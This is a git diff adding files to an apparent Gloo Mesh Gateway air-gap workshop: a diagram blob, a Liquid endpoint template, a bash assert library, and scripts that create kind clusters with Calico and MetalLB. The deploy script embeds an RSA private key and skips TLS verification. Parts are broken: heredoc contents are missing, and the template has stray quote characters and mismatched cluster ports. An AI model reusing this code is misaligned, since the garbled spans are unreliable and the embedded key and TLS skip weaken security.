UwMDAwcjXtgVx1MDAwMM1qQlx1MDAwMNwhLblE9MxHuXjTv7lWKH+x3l/2n1tcdTAwMGI/7N3+XHUwMDE3XHUwMDBiXHUwMDEwXHUwMDA2QnG6ue/46j6eXHUwMDFjdGit9/pQeFx1MDAxZeC+7H7kPoNupjAkiW1cIrHTc4wxcniOhXfK11x1MDAwNpnanlx1MDAxZESlJW2XXCIuk1xc8GLXf/xQXFyAxJCn7JdcdTAwMTCQVFx1MDAwN8c758T2ns/dXFwgXHUwMDEztmRzLytcdTAwMDd751x1MDAxNoCoYYDwxeaZ3uV7efnWqvRcdTAwMGL8MTZcdTAwMWUmUtWnUohcdTAwMDedyakkysJamVxcOvNqXHUwMDBivJhcdTAwMDVcdTAwMTSWXHUwMDE2poJRziSRSPlgnFxyklx1MDAwYjz7XHUwMDA0L2TLwlx1MDAxMWHLpfo9cVx1MDAxY/bKMUP/sWy9kyNiil3NXHUwMDBlrFx1MDAxY588vtkxxbs5XHUwMDFhXGLyUbRCXHUwMDAxeW7jaVDTzGU2okuJ3IyU6p+dytO07DUzPDg8qJi0XHUwMDEwxZKJ+atcXOVBu6r1cTXswYPErevjXG5cdTAwMGZcdTAwMTIkuKl9/4+dXHS5XHUwMDFiXHUwMDBmkoDwINmNXHUwMDA3sU+SL2HSzPTFm4PdXrbKXHUwMDEy3d5D8yWcnNZQJEzuwqWg86BhPVx1MDAwYsuvTqxyhVx1MDAwNe11id5jq4+vXHUwMDA2iSlcdTAwMTSlYHieqbMvflx1MDAxNau1q+FcIr1cdTAwMWG9i2H2cXbdutS2bV18o7Pvn6NlvefyaVx1MDAwNUfG2Fx1MDAxNjm0Sfb+XHUwMDE4x+l6PCojvdebxmRy9VlcdTAwMGY8g0tCLITcrVnD31xudC9cIphqKtkpVSzGhGKmTjrH5kfHXHUwMDFlXFzHXHUwMDEym+91dZ6UIFx1MDAxNG1cdTAwMTH2vrpcdTAwMTXTfnF23Yx2XHUwMDFm6IDPMt3qjddk4IBxoJKgPrl5dbrTpdJcdTAwMGVcdTAwMTbUx2FBl5pBXHUwMDE3XHUwMDE2JJiDusf/sUWCu3EgXHJcYlx1MDAwN9I9klx1MDAwYlx1MDAwNfZMP1x1MDAwMUtUXCKOhNpcXFx1MDAxM8bTvJO9XHUwMDFmhUdcdTAwMDNyJXWi3/xA407Ao1pUm1x1MDAxOcx/XHUwMDEygtFSXFybSFNayVx1MDAwNcOKYI35fkj3wNUkylQ/4pNan/skXHUwMDE4Jm+uSkPy0Vx1MDAxYr6iSrdwd8lcdTAwMTMvjWhwM1x1MDAwMc+tmuRIx3tey1x1MDAxZaua5FxcTmFdPqT7XHJcdTAwMTfLrsiAY+dD2udcdTAwMTCu4EI2r7De3PXif5xcdTAwMDHFhaCRhJ9GUtLSh9JIh0iIXHUwMDE0XG5cdTAwMTOtxE+FyoVcclx1MDAxY45cdTAwMDByVUvD6sVjr+pcdTAwMGVcdTAwMTOPlFx1MDAxNLlcdTAwMDaCLYNHxz53h5GMeZaWXHSiNVx1MDAxNZpvUaNSeVx1MDAxOMpaXCJ5XHUwMDEzmaRZ/eouXHUwMDE2yaXULijyXHUwMDFia1SoRlx1MDAxNl1cXMtcdTAwMWSiuLCw1ppcdTAwMDBeXHUwMDEzxMdd+v1FKlxudlx1MDAwNZ/lZ9r+c5yIp6X+XHUwMDE41/toXHUwMDE2v3zT6PM6Xd1fXHUwMDBmXHUwMDFmadmfXCKVc3xq57LsOqznfsNcdTAwMTNiPZ+u0ZhcdG7yTLdoXCLmf57BXHUwMDA1e9xPcUhqiVx1MDAwMymOQ2A9ylx1MDAwNENanTLnJIBgXHUwMDBmsNPFrDVuXlxcdac992mlR6uB8cdKy3Bvaae7XHUwMDAzPs48XHUwMDAzaFx1MDAxOCMlhNymbO0p2+nnO9P7z1xu5rPbz7typFh/XHUwMDBmut9wnmv71UuAOt33XHUwMDE4bFVLSoP8MJKAgX1aXHUwMDAw7tFcbmvXNjRcdTAwMTRYgbBT1sfsXHUwMDAz+lL44fHjKswnrZFOhWL1l/ro+Ta46OzcXHUwMDFjh0c63iMtm9MprajKvL69JIdccjWLTlx1MDAwNrPXXHUwMDAznMJdXHUwMDBihTqy+Zx9zd6np6JcdTAwMWRcdTAwMTK1psdI+a3WzaCKbJTQMIFz42wpXHUwMDE2RTE86Fx1MDAxZWDd51Qu0u/AaTQ+w7fx2Pvw6XY2PMC6T9O3QSc9ruhy8vPms5VcdTAwMWQ0XHUwMDA2mUNM7D04OayDv+43PCH85drT1YmxpkoysoVcdTAwMGX1P8/gwl/qq0VcdTAwMDWxyEZa9Lv632OKsJQnbZhcdTAwMWJAXHUwMDA0XHUwMDFja/d6XHUwMDE3d7VR89v9nWug4zJcdTAwMDB2bnRcdTAwMGb8y71NV6lMXHUwMDE3Xkw259276+frxn3q6TOuVD5SilXiicvImeFfJ+NySi3KiFRMSI24rcnFQTNEd4O/iCEkXHRcdHDEwk9xdmqpm8/4WzTbV1x1MDAxZr3PXFy/3828XHUwMDBlftDvodDvkY73vJY9Vtj84NtdXHUwMDA3+txveELQJ7zj25gxYZJcdTAwMDK3qLHzP89zXHUwMDAxfUuqgyNLbaQ6vlx1MDAwYvMpXHUwMDAxqozRIHftPVx1MDAwMea7XHUwMDFkjVu9b8d7a6DSMt5bbHInbuXKZ/ZcdTAwMTFcdTAwMTFcbim8RdOPfDxLMvilejvRj61ZpHRcdTAwMWa/f1xyfncuhsl8vtEvZl3u94/kZlx1MDAwMYp9k1E0XmVV6lJcZoQoZo4pwYFjVT/9OHkrik77LfaSzVxcXed7vWa6/6g207v7aDJXQbBx559krVHruktcdTAwMDFbfvn3JEP/3stuqll6liRgU1xix0ybr42ZPUzeXHUwMDEzscpNMT28XHUwMDE2w2xavzzd5Fx1MDAwMu+PYVx1MDAxNDFLmOYuXGZcYobbmjXNW/FZprlcdTAwMGJTgpuRvtyvydee3C5dSv9WuV1rrLQ+aWOLfZi9d11OXFy9p3KJbu65O0unc2+9yoZcdTAwMWXm0zF7pN1yPLFTMvvvvfgyu3c7L+9eXHUwMDE3mpupyHKLXHUwMDEyX98nXHUwMDE5SP9cciMmY1xytDrhkiHgZlx1MDAwN6dcdTAwMTNiKSQwxlxuXHUwMDE0qlwiYr+yXHUwMDA371x1MDAwMWamr1x0oPz5uCBsf1wii+5+lulcdTAwMDNAKHC6maSmV4uTXHUwMDE0MzOe9D++l5e/wrmwz+vB8ztzqaniWC2g+sXXsDBmXHUwMDExQUBcdTAwMTEoM95cdTAwMTN035pcdGZn21gn5E2D5lqhvsV6f9l/Lkuf3+VQXHUwMDBmgvY+u5oli7f0I11cdTAwMWK8o9DL4ot4iKjfvaaYPS3IaVwig/ksbJetXHUwMDFmyFx1MDAxZs5cdTAwMDI9vspKXFz4XHSFQ/hlt1x1MDAwMTXHSM51Z/yD8fVcdTAwMWaJo1x0I8bGWCmdm2/HMzGGmp6JeiO1sixBXHUwMDFj/LGLXGY5MNNwx1x1MDAxZoCgcFx1MDAxMCuVa1egXHUwMDE4O2hcdTAwMThcdPuClPC1K9hI3FxccFx1MDAwZau8ua1IWi9kKXrlXVx1MDAxNq7Id1WIyYf4ZSTyfukmZEMgZc1oTaK06WxccsJUrDZMXHUwMDA0y5owM0JcdTAwMTI+XHUwMDA1gFx1MDAxYpM/8mXLjomFR/4+SfHLR5RrxzqpcTGazPS9doVNOT1AXHUwMDFjXGZcYlx1MDAwNzOpV3alXHUwMDFk87OIWm3juIv8/iUn//r9VP4u9fvpMZDx17f6e9qqzS69893/+r1cdTAwMDEjZGrmu/zP//71v/9cdTAwMWZbSLlAIn0= + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/gateway/2-4/airgap/portal/partials/calculate-endpoints.liquid b/gloo-mesh/gateway/2-4/airgap/portal/partials/calculate-endpoints.liquid new file mode 100644 index 0000000000..e7bd4df90d --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/portal/partials/calculate-endpoints.liquid @@ -0,0 +1,58 @@ +{%- assign fqdn_httpbin = vars.httpbin_fqdn | default: "httpbin.example.com" %} +{%- assign fqdn_bookinfo = vars.bookinfo_fqdn | default: "bookinfo.example.com" %} +{%- assign fqdn_portal = vars.portal_fqdn | default: "portal.example.com" %} +{%- assign fqdn_grpcbin = vars.grpcbin_fqdn | default: "grpcbin.example.com" %} +{%- assign fqdn_backstage = vars.backstage_fqdn | default: "backstage.example.com" %} +{%- assign fqdn_cluster1_httpbin = "cluster1-" | append: fqdn_httpbin %} +{%- assign fqdn_cluster2_httpbin = "cluster2-" | append: fqdn_httpbin %} +{%- assign fqdn_cluster1_bookinfo = "cluster1-" | append: fqdn_bookinfo %} +{%- assign fqdn_cluster2_bookinfo = "cluster2-" | append: fqdn_bookinfo %} +{%- assign fqdn_cluster1_portal = "cluster1-" | append: fqdn_portal %} +{%- assign fqdn_cluster2_portal = "cluster2-" | append: fqdn_portal %} +{%- assign fqdn_cluster1_grpcbin = "cluster1-" | append: fqdn_grpcbin %} +{%- assign fqdn_cluster2_grpcbin = "cluster2-" | append: fqdn_grpcbin %} +{%- assign fqdn_cluster1_backstage = "cluster1-" | append: fqdn_backstage %} +{%- assign fqdn_cluster2_backstage = "cluster2-" | append: fqdn_backstage %} +{%- if vars.node_port or vars.cluster1.node_port %} +{%- assign endpoint_http_gw_cluster1_httpbin = fqdn_cluster1_httpbin | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_httpbin = fqdn_cluster1_httpbin | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster1_bookinfo = fqdn_cluster1_bookinfo | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_bookinfo = fqdn_cluster1_bookinfo | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster1_portal = fqdn_cluster1_portal | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_portal = fqdn_cluster1_portal | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster1_grpcbin = fqdn_cluster1_grpcbin | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_grpcbin = fqdn_cluster1_grpcbin | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster1_backstage = fqdn_cluster1_backstage | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster1_backstage = fqdn_cluster1_backstage | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- if vars.node_port or vars.cluster2.node_port %} +{%- assign endpoint_http_gw_cluster2_httpbin = fqdn_cluster2_httpbin | append: ":${NODEPORT_CLUSTER2_HTTP}" %} +{%- assign endpoint_https_gw_cluster2_httpbin = fqdn_cluster2_httpbin | append: ":${NODEPORT_CLUSTER2_HTTPS}" %} +{%- assign endpoint_http_gw_cluster2_bookinfo = fqdn_cluster2_bookinfo | append: ":${NODEPORT_CLUSTER2_HTTP}')" %} +{%- assign endpoint_https_gw_cluster2_bookinfo = fqdn_cluster2_bookinfo | append: ":${NODEPORT_CLUSTER2_HTTPS}" %} +{%- assign endpoint_http_gw_cluster2_portal = fqdn_cluster2_portal | append: ":${NODEPORT_CLUSTER2_HTTP}')" %} +{%- assign endpoint_https_gw_cluster2_portal = fqdn_cluster2_portal | append: ":${NODEPORT_CLUSTER2_HTTPS}" %} +{%- assign endpoint_http_gw_cluster2_grpcbin = fqdn_cluster2_grpcbin | append: ":${NODEPORT_CLUSTER1_HTTP}" %} +{%- assign endpoint_https_gw_cluster2_grpcbin = fqdn_cluster2_grpcbin | append: ":${NODEPORT_CLUSTER1_HTTPS}" %} +{%- assign endpoint_http_gw_cluster2_backstage = fqdn_cluster2_backstage | append: ":${NODEPORT_CLUSTER2_HTTP}')" %} +{%- assign endpoint_https_gw_cluster2_backstage = fqdn_cluster2_backstage | append: ":${NODEPORT_CLUSTER2_HTTPS}" %} +{%- endif %}{% comment %}cluster2 nodeport{% endcomment %} +{%- else %} +{%- assign endpoint_http_gw_cluster1_httpbin = fqdn_cluster1_httpbin %} +{%- assign endpoint_https_gw_cluster1_httpbin = fqdn_cluster1_httpbin %} +{%- assign endpoint_http_gw_cluster1_bookinfo = fqdn_cluster1_bookinfo %} +{%- assign endpoint_https_gw_cluster1_bookinfo = fqdn_cluster1_bookinfo %} +{%- assign endpoint_http_gw_cluster1_portal = fqdn_cluster1_portal %} +{%- assign endpoint_https_gw_cluster1_portal = fqdn_cluster1_portal %} +{%- assign endpoint_http_gw_cluster1_backstage = fqdn_cluster1_backstage %} +{%- assign endpoint_https_gw_cluster1_backstage = fqdn_cluster1_backstage %} +{%- assign endpoint_http_gw_cluster2_httpbin = fqdn_cluster2_httpbin %} +{%- assign endpoint_https_gw_cluster2_httpbin = fqdn_cluster2_httpbin %} +{%- assign endpoint_http_gw_cluster2_bookinfo = fqdn_cluster2_bookinfo %} +{%- assign endpoint_https_gw_cluster2_bookinfo = fqdn_cluster2_bookinfo %} +{%- assign endpoint_http_gw_cluster2_portal = fqdn_cluster2_portal %} +{%- assign endpoint_https_gw_cluster2_portal = fqdn_cluster2_portal %} +{%- assign endpoint_http_gw_cluster2_grpcbin = fqdn_cluster2_grpcbin %} +{%- assign endpoint_https_gw_cluster2_grpcbin = fqdn_cluster2_grpcbin %} +{%- assign endpoint_http_gw_cluster2_backstage = fqdn_cluster2_backstage %} +{%- assign endpoint_https_gw_cluster2_backstage = fqdn_cluster2_backstage %} +{%- endif %} \ No newline at end of file diff --git a/gloo-mesh/gateway/2-4/airgap/portal/scripts/assert.sh b/gloo-mesh/gateway/2-4/airgap/portal/scripts/assert.sh new file mode 100755 index 0000000000..75ba95ac90 --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/portal/scripts/assert.sh @@ -0,0 +1,252 @@ +#!/usr/bin/env bash + +##################################################################### +## +## title: Assert Extension +## +## description: +## Assert extension of shell (bash, ...) +## with the common assert functions +## Function list based on: +## http://junit.sourceforge.net/javadoc/org/junit/Assert.html +## Log methods : inspired by +## - https://natelandau.com/bash-scripting-utilities/ +## author: Mark Torok +## +## date: 07. Dec. 2016 +## +## license: MIT +## +##################################################################### + +if command -v tput &>/dev/null && tty -s; then + RED=$(tput setaf 1) + GREEN=$(tput setaf 2) + MAGENTA=$(tput setaf 5) + NORMAL=$(tput sgr0) + BOLD=$(tput bold) +else + RED=$(echo -en "\e[31m") + GREEN=$(echo -en "\e[32m") + MAGENTA=$(echo -en "\e[35m") + NORMAL=$(echo -en "\e[00m") + BOLD=$(echo -en "\e[01m") +fi + +log_header() { + printf "\n${BOLD}${MAGENTA}========== %s ==========${NORMAL}\n" "$@" >&2 +} + +log_success() { + printf "${GREEN}✔ %s${NORMAL}\n" "$@" >&2 +} + +log_failure() { + printf "${RED}✖ %s${NORMAL}\n" "$@" >&2 + file=.test-error.log + echo "$@" >> $file + echo "#############################################" >> $file + echo "#############################################" >> $file +} + + +assert_eq() { + local expected="$1" + local actual="$2" + local msg="${3-}" + + if [ "$expected" == "$actual" ]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$expected == $actual :: $msg" || true + return 1 + fi +} + +assert_not_eq() { + local expected="$1" + local actual="$2" + local msg="${3-}" + + if [ ! "$expected" == "$actual" ]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$expected != $actual :: $msg" || true + return 1 + fi +} + +assert_true() { + local actual="$1" + local msg="${2-}" + + assert_eq true "$actual" "$msg" + return "$?" +} + +assert_false() { + local actual="$1" + local msg="${2-}" + + assert_eq false "$actual" "$msg" + return "$?" +} + +assert_array_eq() { + + declare -a expected=("${!1-}") + # echo "AAE ${expected[@]}" + + declare -a actual=("${!2}") + # echo "AAE ${actual[@]}" + + local msg="${3-}" + + local return_code=0 + if [ ! "${#expected[@]}" == "${#actual[@]}" ]; then + return_code=1 + fi + + local i + for (( i=1; i < ${#expected[@]} + 1; i+=1 )); do + if [ ! "${expected[$i-1]}" == "${actual[$i-1]}" ]; then + return_code=1 + break + fi + done + + if [ "$return_code" == 1 ]; then + [ "${#msg}" -gt 0 ] && log_failure "(${expected[*]}) != (${actual[*]}) :: $msg" || true + fi + + return "$return_code" +} + +assert_array_not_eq() { + + declare -a expected=("${!1-}") + declare -a actual=("${!2}") + + local msg="${3-}" + + local return_code=1 + if [ ! "${#expected[@]}" == "${#actual[@]}" ]; then + return_code=0 + fi + + local i + for (( i=1; i < ${#expected[@]} + 1; i+=1 )); do + if [ ! "${expected[$i-1]}" == "${actual[$i-1]}" ]; then + return_code=0 + break + fi + done + + if [ "$return_code" == 1 ]; then + [ "${#msg}" -gt 0 ] && log_failure "(${expected[*]}) == (${actual[*]}) :: $msg" || true + fi + + return "$return_code" +} + +assert_empty() { + local actual=$1 + local msg="${2-}" + + assert_eq "" "$actual" "$msg" + return "$?" +} + +assert_not_empty() { + local actual=$1 + local msg="${2-}" + + assert_not_eq "" "$actual" "$msg" + return "$?" +} + +assert_contain() { + local haystack="$1" + local needle="${2-}" + local msg="${3-}" + + if [ -z "${needle:+x}" ]; then + return 0; + fi + + if [ -z "${haystack##*$needle*}" ]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$haystack doesn't contain $needle :: $msg" || true + return 1 + fi +} + +assert_not_contain() { + local haystack="$1" + local needle="${2-}" + local msg="${3-}" + + if [ -z "${needle:+x}" ]; then + return 0; + fi + + if [ "${haystack##*$needle*}" ]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$haystack contains $needle :: $msg" || true + return 1 + fi +} + +assert_gt() { + local first="$1" + local second="$2" + local msg="${3-}" + + if [[ "$first" -gt "$second" ]]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$first > $second :: $msg" || true + return 1 + fi +} + +assert_ge() { + local first="$1" + local second="$2" + local msg="${3-}" + + if [[ "$first" -ge "$second" ]]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$first >= $second :: $msg" || true + return 1 + fi +} + +assert_lt() { + local first="$1" + local second="$2" + local msg="${3-}" + + if [[ "$first" -lt "$second" ]]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$first < $second :: $msg" || true + return 1 + fi +} + +assert_le() { + local first="$1" + local second="$2" + local msg="${3-}" + + if [[ "$first" -le "$second" ]]; then + return 0 + else + [ "${#msg}" -gt 0 ] && log_failure "$first <= $second :: $msg" || true + return 1 + fi +} \ No newline at end of file diff --git a/gloo-mesh/gateway/2-4/airgap/portal/scripts/check.sh b/gloo-mesh/gateway/2-4/airgap/portal/scripts/check.sh new file mode 100755 index 0000000000..fa52484b28 --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/portal/scripts/check.sh @@ -0,0 +1,16 @@ +#!/usr/bin/env bash + +printf "Waiting for all the kube-system pods to become ready in context $1" +until [ $(kubectl --context $1 -n kube-system get pods -o jsonpath='{range .items[*].status.containerStatuses[*]}{.ready}{"\n"}{end}' | grep false -c) -eq 0 ]; do + printf "%s" "." + sleep 1 +done +printf "\n kube-system pods are now ready \n" + +printf "Waiting for all the metallb-system pods to become ready in context $1" +until [ $(kubectl --context $1 -n metallb-system get pods -o jsonpath='{range .items[*].status.containerStatuses[*]}{.ready}{"\n"}{end}' | grep false -c) -eq 0 ]; do + printf "%s" "." + sleep 1 +done +printf "\n metallb-system pods are now ready \n" + diff --git a/gloo-mesh/gateway/2-4/airgap/portal/scripts/deploy-aws-with-calico.sh b/gloo-mesh/gateway/2-4/airgap/portal/scripts/deploy-aws-with-calico.sh new file mode 100755 index 0000000000..1c7a2ec3cf --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/portal/scripts/deploy-aws-with-calico.sh @@ -0,0 +1,240 @@ +#!/usr/bin/env bash +set -o errexit + +number=$1 +name=$2 +region=$3 +zone=$4 +twodigits=$(printf "%02d\n" $number) +kindest_node=${KINDEST_NODE:-kindest\/node:v1.28.0@sha256:b7a4cad12c197af3ba43202d3efe03246b3f0793f162afb40a33c923952d5b31} + +if [ -z "$3" ]; then + region=us-east-1 +fi + +if [ -z "$4" ]; then + zone=us-east-1a +fi + +if hostname -I 2>/dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml <./oidc/sa-signer-pkcs8.pub +-----BEGIN PUBLIC KEY----- +MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA53YiBcrn7+ZK0Vb4odeA +1riYdvEb8To4H6/HtF+OKzuCIXFQ+bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL +395nvxdly83SUrdh7ItfOPRluuuiPHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0Zw +zIM9OviX8iEF8xHWUtz4BAMDG8N6+zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm +5X5uOKsCHMtNSjqYUNB1DxN6xxM+odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD8 +2p/16KQKU6TkZSrldkYxiHIPhu+5f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9 +ywIDAQAB +-----END PUBLIC KEY----- +EOF + +cat <<'EOF' >./oidc/sa-signer.key +-----BEGIN RSA PRIVATE KEY----- +MIIEpAIBAAKCAQEA53YiBcrn7+ZK0Vb4odeA1riYdvEb8To4H6/HtF+OKzuCIXFQ ++bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL395nvxdly83SUrdh7ItfOPRluuui +PHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0ZwzIM9OviX8iEF8xHWUtz4BAMDG8N6 ++zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm5X5uOKsCHMtNSjqYUNB1DxN6xxM+ +odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD82p/16KQKU6TkZSrldkYxiHIPhu+5 +f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9ywIDAQABAoIBAB8tro+RMYUDRHjG +el9ypAxIeWEsQVNRQFYkW4ZUiNYSAgl3Ni0svX6xAg989peFVL+9pLVIcfDthJxY +FVlNCjBxyQ/YmwHFC9vQkARJEd6eLUXsj8INtS0ubbp1VxCQRDDL0C/0z7OSoJJh +SwboqjEiTJExA2a+RArmEDTBRzdi3t+kT8G23JcqOivrITt17K6bQYyJXw7/vUdc +r/R+hfd5TqVq92VddzDT7RNJAxsbPPXjGnESlq1GALBDs+uBGYsP0fiEJb2nicSv +z9fBnBeERhut1gcE0C0iLRQZb+3r8TitBtxrZv+0BHgXrkKtXDwWTqGEKOwC4dBn +7nxkH2ECgYEA6+/DOTABGYOWOQftFkJMjcugzDrjoGpuXuVOTb65T+3FHAzU93zy +3bt3wQxrlugluyy9Sc/PL3ck2LgUsPHZ+s7zsdGvvGALBD6bOSSKATz9JgjwifO8 +PgqUz1kXRwez2CtKLOOCFFtcIzEdWIzsa1ubNqLzgN7rD+XBkUc2uEcCgYEA+yTy +72EDMQVoIZOygytHsDNdy0iS2RsBbdurT27wkYuFpFUVWdbNSL+8haE+wJHseHcw +BD4WIMpU+hnS4p4OO8+6V7PiXOS5E/se91EJigZAoixgDUiC8ihojWgK9PYEavUo +hULWbayO59SxYWeUI4Ze0GP8Jw8vdB86ib4ulF0CgYEAgyzRuLjk05+iZODwQyDn +WSquov3W0rh51s7cw0LX2wWSQm8r9NGGYhs5kJ5sLwGxAKj2MNSWF4jBdrCZ6Gr+ +y4BGY0X209/+IAUC3jlfdSLIiF4OBlT6AvB1HfclhvtUVUp0OhLfnpvQ1UwYScRI +KcRLvovIoIzP2g3emfwjAz8CgYEAxUHhOhm1mwRHJNBQTuxok0HVMrze8n1eov39 +0RcvBvJSVp+pdHXdqX1HwqHCmxhCZuAeq8ZkNP8WvZYY6HwCbAIdt5MHgbT4lXQR +f2l8F5gPnhFCpExG5ZLNg/urV3oAQE4stHap21zEpdyOMhZb6Yc5424U+EzaFdgN +b3EcPtUCgYAkKvUlSnBbgiJz1iaN6fuTqH0efavuFGMhjNmG7GtpNXdgyl1OWIuc +Yu+tZtHXtKYf3B99GwPrFzw/7yfDwae5YeWmi2/pFTH96wv3brJBqkAWY8G5Rsmd +qF50p34vIFqUBniNRwSArx8t2dq/CuAMgLAtSjh70Q6ZAnCF85PD8Q== +-----END RSA PRIVATE KEY----- +EOF + +cat << EOF > kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} + extraMounts: + - containerPath: /etc/kubernetes/oidc + hostPath: /${PWD}/oidc +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: ClusterConfiguration + apiServer: + extraArgs: + service-account-key-file: /etc/kubernetes/pki/sa.pub + service-account-key-file: /etc/kubernetes/oidc/sa-signer-pkcs8.pub + service-account-signing-key-file: /etc/kubernetes/oidc/sa-signer.key + service-account-issuer: https://solo-workshop-oidc.s3.us-east-1.amazonaws.com + api-audiences: sts.amazonaws.com + extraVolumes: + - name: oidc + hostPath: /etc/kubernetes/oidc + mountPath: /etc/kubernetes/oidc + readOnly: true + metadata: + name: config +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + 